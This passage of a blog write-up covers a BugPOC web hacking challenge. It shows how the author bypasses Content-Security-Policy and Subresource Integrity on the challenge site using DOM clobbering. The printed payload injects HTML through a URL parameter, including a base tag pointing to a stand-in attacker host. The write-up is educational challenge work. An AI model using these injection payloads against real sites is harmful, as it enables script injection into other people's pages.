https:\/\/wacky.buggywebsite.com<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">Header add Access<\/span><span style=\"color: #F92672\">-<\/span><span style=\"color: #F8F8F2\">Control<\/span><span style=\"color: #F92672\">-<\/span><span style=\"color: #F8F8F2\">Allow<\/span><span style=\"color: #F92672\">-<\/span><span style=\"color: #F8F8F2\">Origin: https:<\/span><span style=\"color: #88846F\">\/\/wacky.buggywebsite.com<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">So by adding that line in&nbsp;<strong>.htaccess<\/strong>, the response can be shared with requesting code from the given origin. Let&#8217;s try to execute again the same payload:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"995\" height=\"176\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-55.png\" alt=\"\" class=\"wp-image-126\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-55.png 995w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-55-300x53.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-55-768x136.png 768w\" sizes=\"auto, (max-width: 995px) 100vw, 995px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">No more CSP error which means we bypassed the&nbsp;<strong>Content-Security-Policy<\/strong>&nbsp;(CSP) \ud83d\ude0a However, we have to deal with another mysterious error, our content is blocked. This is called&nbsp;<strong>SRI<\/strong>&nbsp;or&nbsp;<strong>SubResource Integrity:<\/strong><\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"has-text-align-center wp-block-paragraph\"><em>Subresource Integrity (SRI) is a security feature that enables browsers to verify that resources they fetch (for example, from a CDN) are delivered without unexpected manipulation. It works by allowing you to provide a cryptographic hash that a fetched resource must match.<\/em><\/p>\n<\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\">Specifically, it validates assets served by a third party. This ensures these assets have not been compromised. This is my first time to deal with SRI. It&#8217;s a feature used a lot in the real world bug bounty programs. It&#8217;s worth the effort to deal with this kind of features.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ It&#8217;s Clobbering time:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Check that code snippet below, and how scary it is:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"598\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-56-1024x598.png\" alt=\"\" class=\"wp-image-127\" style=\"width:875px;height:511px\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-56-1024x598.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-56-300x175.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-56-768x449.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-56.png 1102w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Seeing this code in this challenge, put me in desperate situation. I was thinking that there&#8217;s no way to bypass a Cryptographic Hash. When a browser see an &#8216;&nbsp;<strong>integrity<\/strong>&#8216; attribute, the content&nbsp; &nbsp;downloaded will be processed by the browser and it will produce a hash, this hash has to be the same as the one present in the &#8216;&nbsp;<strong>integrity&#8217;&nbsp;<\/strong>attribute, or&nbsp;else it doesn&#8217;t execute. Even a single bit can change the whole hash and the file won&#8217;t be processed. But Wait, let&#8217;s stay positive. Since it&#8217;s a hacking challenge, there&#8217;s a way to bypass that. Right ? It&#8217;s not that easy I admit, but not impossible &#8230;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In the image above, especially the first green block, there is this code:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>window.fileIntegrity = window.fileIntegrity || {\n\t\t\t'rfc' : ' https:\/\/w3c.github.io\/webappsec-subresource-integrity\/',\n\t\t\t'algorithm' : 'sha256',\n\t\t\t'value' : 'unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=',\n\t\t\t'creationtime' : 1602687229\n\t\t}<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">window.fileIntegrity <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> window.fileIntegrity <\/span><span style=\"color: #F92672\">||<\/span><span style=\"color: #F8F8F2\"> {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t\t<\/span><span style=\"color: #E6DB74\">&#39;rfc&#39;<\/span><span style=\"color: #F8F8F2\"> : <\/span><span style=\"color: #E6DB74\">&#39; https:\/\/w3c.github.io\/webappsec-subresource-integrity\/&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t\t<\/span><span style=\"color: #E6DB74\">&#39;algorithm&#39;<\/span><span style=\"color: #F8F8F2\"> : <\/span><span style=\"color: #E6DB74\">&#39;sha256&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t\t<\/span><span style=\"color: #E6DB74\">&#39;value&#39;<\/span><span style=\"color: #F8F8F2\"> : <\/span><span style=\"color: #E6DB74\">&#39;unzMI6SuiNZmTzoOnV4Y9yqAjtSOgiIgyrKvumYRI6E=&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t\t<\/span><span style=\"color: #E6DB74\">&#39;creationtime&#39;<\/span><span style=\"color: #F8F8F2\"> : <\/span><span style=\"color: #AE81FF\">1602687229<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t\t}<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Why the &#8221;&nbsp;<strong>window.fileIntegrity<\/strong>&#8221; is being tested like that ? It seems like it will have a value before being overwritten, and if it&#8217;s already set, they don&#8217;t override it.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">By Seeing the fourth hint from&nbsp;<a rel=\"noreferrer noopener\" href=\"https:\/\/twitter.com\/i\/status\/1325070272274329601\" target=\"_blank\">BugPOC<\/a>, I put that image in&nbsp; &#8221;&nbsp;<strong>google lens<\/strong>&#8220;, and that&#8217;s what I got:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"200\" height=\"198\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-57.png\" alt=\"\" class=\"wp-image-128\" style=\"width:402px;height:398px\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-57.png 200w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-57-150x150.png 150w\" sizes=\"auto, (max-width: 200px) 100vw, 200px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Put that keywords on google &#8220;C&nbsp;<strong>lobbering Hacking Attack<\/strong>&#8220;:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"678\" height=\"369\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-58.png\" alt=\"\" class=\"wp-image-129\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-58.png 678w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-58-300x163.png 300w\" sizes=\"auto, (max-width: 678px) 100vw, 678px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">It&#8217;s a DOM clobbering technique. I&#8217;m really impressed!! What a challenge full of surprises!! \ud83d\udc97<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is the&nbsp;<a rel=\"noreferrer noopener\" href=\"https:\/\/portswigger.net\/web-security\/dom-based\/dom-clobbering\" target=\"_blank\">Portswigger&nbsp;<\/a>definition of DOM clobbering:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"has-text-align-center wp-block-paragraph\"><em>DOM clobbering is a technique in which you inject HTML into a page to manipulate the DOM and ultimately change the behavior of JavaScript on the page. DOM clobbering is particularly useful in cases where XSS is not possible, but you can control some HTML on a page where the attributes id or name are whitelisted by the HTML filter. The most common form of DOM clobbering uses an anchor element to overwrite a global variable, which is then used by the application in an unsafe way, such as generating a dynamic script URL.<\/em><\/p>\n<\/blockquote>\n\n\n\n<p class=\"wp-block-paragraph\">Reading that article of <a href=\"https:\/\/portswigger.net\/web-security\/dom-based\/dom-clobbering\">Portswigger<\/a>, I understood the purpose of that code and now it doesn&#8217;t scare me anymore. I found also a&nbsp;<a href=\"https:\/\/portswigger.net\/web-security\/dom-based\/dom-clobbering\/lab-dom-xss-exploiting-dom-clobbering\">Portswigger lab<\/a>&nbsp;to practice the DOM Clobbering and get better idea about it.\ud83d\ude01<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The principal is simple, we have to make 2 anchors which will have the same &#8220;id&#8221; and automatically will be grouped as a DOM collection. That way we can control them using javascript.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s go back and get a look at the vulnerable code which uses the&nbsp;<strong>OR<\/strong>&nbsp;operator along with a global variable:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>window.fileIntegrity = window.fileIntegrity || ...<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">window.fileIntegrity <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> window.fileIntegrity <\/span><span style=\"color: #F92672\">||<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">...<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">We\u2019ll try to clobber the \u201c&nbsp;<strong>value<\/strong>\u201d property and keep it empty. Let\u2019s create two anchors which will have the same \u201c&nbsp;<strong>id<\/strong>\u201d values which will make them get grouped in a DOM collection, as shown below:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>&lt;a id=fileIntegrity>&lt;a id=fileIntegrity name=value ><\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">a<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">id<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">fileIntegrity<\/span><span style=\"color: #F8F8F2\">&gt;&lt;<\/span><span style=\"color: #F92672\">a<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">id<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">fileIntegrity<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">name<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">value<\/span><span style=\"color: #F8F8F2\"> &gt;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">So, let&#8217;s build our payload:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>window.name=\"iframe\"; \nwindow.location = 'https:\/\/wacky.buggywebsite.com\/frame.html?param=&lt;\/title>&lt;a id=fileIntegrity>&lt;a id=fileIntegrity name=value>&lt;base href=\"https:\/\/ATTACKER-URL\/\" \/>';<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">window.name<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #E6DB74\">&quot;iframe&quot;<\/span><span style=\"color: #F8F8F2\">; <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">window.location <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;https:\/\/wacky.buggywebsite.com\/frame.html?param=&lt;\/title&gt;&lt;a id=fileIntegrity&gt;&lt;a id=fileIntegrity name=value&gt;&lt;base href=&quot;https:\/\/ATTACKER-URL\/&quot; \/&gt;&#39;<\/span><span style=\"color: #F8F8F2\">;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Going back to the web console, the injection will clobber the &#8221;&nbsp;<strong>fileIntegrity.value<\/strong>&#8220;, and make it useless. In my case I kept it empty. The concatenation done in the code, will be wrong which will make the whole SRI thing useless and our code will execute. (See the image below)<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"881\" height=\"317\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-59.png\" alt=\"\" class=\"wp-image-130\" style=\"width:993px;height:357px\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-59.png 881w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-59-300x108.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-59-768x276.png 768w\" sizes=\"auto, (max-width: 881px) 100vw, 881px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The line marked in red won&#8217;t be valid anymore, because we overwritten the its content by DOM clobbering.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I added that piece of code in the &#8221;&nbsp;<strong>Frame-analytic.js<\/strong>&#8221; file hosted in my server:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>console.log(\"Mu custom code is being executed. Let's popup an alert\"); alert(origin); <\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">console.<\/span><span style=\"color: #A6E22E\">log<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;Mu custom code is being executed. Let&#39;s popup an alert&quot;<\/span><span style=\"color: #F8F8F2\">); <\/span><span style=\"color: #A6E22E\">alert<\/span><span style=\"color: #F8F8F2\">(origin); <\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">I executed the payload and that&#8217;s the result:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"134\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-60-1024x134.png\" alt=\"\" class=\"wp-image-131\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-60-1024x134.png 1024w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-60-300x39.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-60-768x101.png 768w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-60.png 1181w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Seeing that output, means the SRI was bypassed, because the code in &#8221;&nbsp;<strong>frame-analytics.js<\/strong>&#8221; some part of the code has been executed but the &#8221;&nbsp;<strong>alert<\/strong>&#8221; has been blocked. The reason why of this behavior, and as you&nbsp; noticed, the error&nbsp; is telling that the &#8221;&nbsp;<strong>iframe&#8221;<\/strong>&nbsp;is sandboxed and does not contain the &#8216;&nbsp;<strong>allow-modals<\/strong>&#8216; flag among the sandbox attributes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ Sandbox bypass:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The last part of this challenge, is to bypass the &#8221;&nbsp;<strong>iframe sandbox<\/strong>&#8220;, since we couldn&#8217;t fire an &#8221;&nbsp;<strong>alert<\/strong>&#8221; in our previous payload, we have to find another way to do that. If you are asking&nbsp; why &#8221;&nbsp;<strong>console.log()<\/strong>&#8221; function worked and not the &#8221;&nbsp;<strong>alert()<\/strong>&#8220;, the answer is below:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"881\" height=\"317\" src=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-61.png\" alt=\"\" class=\"wp-image-132\" style=\"width:960px;height:345px\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-61.png 881w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-61-300x108.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-61-768x276.png 768w\" sizes=\"auto, (max-width: 881px) 100vw, 881px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">An &#8221;&nbsp;<strong>iframe<\/strong>&#8221; is created and the attribute sandbox is containing &#8216;&nbsp;<strong>allow-scripts<\/strong>&#8216; &#8216;&nbsp;<strong>allow-same-origin<\/strong>&#8216;.<\/p>\n\n\n\n<p 